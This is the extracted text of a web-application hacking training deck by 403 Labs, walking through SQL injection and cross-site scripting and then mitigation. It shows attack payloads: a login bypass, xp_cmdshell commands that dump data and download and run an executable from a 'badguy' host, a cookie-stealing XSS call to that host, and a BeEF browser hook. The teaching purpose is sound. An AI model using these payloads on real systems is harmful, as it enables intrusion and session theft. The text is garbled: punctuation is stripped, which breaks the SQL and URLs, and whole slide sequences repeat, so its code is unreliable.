bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 4: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

4

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

5

What is Web Application Security

bull Securing the ldquocustom coderdquo that drives a

web application including

bull Web application code (dynamic sites)

bull Underlying software libraries (frameworks)

bull Backend systems (database reporting etc)

bull Web services (APIs)

bull Not network security

6

In facthellip

ldquoResearch has shown that the application

layer is responsible for over 90 percent of

all security vulnerabilities yet more than 80

percent of IT security spending continues to be

at the network layer primarily focused on

perimeter securityrdquo

- Ponemon Institute

The State of Application Security August 2013

7

What is OWASP

bull Open Web Application Security Project

bull Promotes secure software development

bull Focused primarily on the ldquobackendrdquo rather

than web-design issues

bull An open forum for discussion

bull A free resource for any development team

8

OWASP Publications

bull Top 10 Web Application Security

Vulnerabilities

bull Updated about every three years

bull Addresses issues with web-based applications

bull Growing industry acceptance

bull Federal Trade Commission (US Gov)

bull US Defense Information Systems Agency

bull PCI Data Security Standard (PCI DSS)

9

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

10

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

11

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

12

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 5: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

5

What is Web Application Security

bull Securing the ldquocustom coderdquo that drives a

web application including

bull Web application code (dynamic sites)

bull Underlying software libraries (frameworks)

bull Backend systems (database reporting etc)

bull Web services (APIs)

bull Not network security

6

In facthellip

ldquoResearch has shown that the application

layer is responsible for over 90 percent of

all security vulnerabilities yet more than 80

percent of IT security spending continues to be

at the network layer primarily focused on

perimeter securityrdquo

- Ponemon Institute

The State of Application Security August 2013

7

What is OWASP

bull Open Web Application Security Project

bull Promotes secure software development

bull Focused primarily on the ldquobackendrdquo rather

than web-design issues

bull An open forum for discussion

bull A free resource for any development team

8

OWASP Publications

bull Top 10 Web Application Security

Vulnerabilities

bull Updated about every three years

bull Addresses issues with web-based applications

bull Growing industry acceptance

bull Federal Trade Commission (US Gov)

bull US Defense Information Systems Agency

bull PCI Data Security Standard (PCI DSS)

9

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

10

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

11

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

12

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 6: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

What is Web Application Security

bull Securing the ldquocustom coderdquo that drives a

web application including

bull Web application code (dynamic sites)

bull Underlying software libraries (frameworks)

bull Backend systems (database reporting etc)

bull Web services (APIs)

bull Not network security

6

In facthellip

ldquoResearch has shown that the application

layer is responsible for over 90 percent of

all security vulnerabilities yet more than 80

percent of IT security spending continues to be

at the network layer primarily focused on

perimeter securityrdquo

- Ponemon Institute

The State of Application Security August 2013

7

What is OWASP

bull Open Web Application Security Project

bull Promotes secure software development

bull Focused primarily on the ldquobackendrdquo rather

than web-design issues

bull An open forum for discussion

bull A free resource for any development team

8

OWASP Publications

bull Top 10 Web Application Security

Vulnerabilities

bull Updated about every three years

bull Addresses issues with web-based applications

bull Growing industry acceptance

bull Federal Trade Commission (US Gov)

bull US Defense Information Systems Agency

bull PCI Data Security Standard (PCI DSS)

9

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

10

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

11

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

12

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

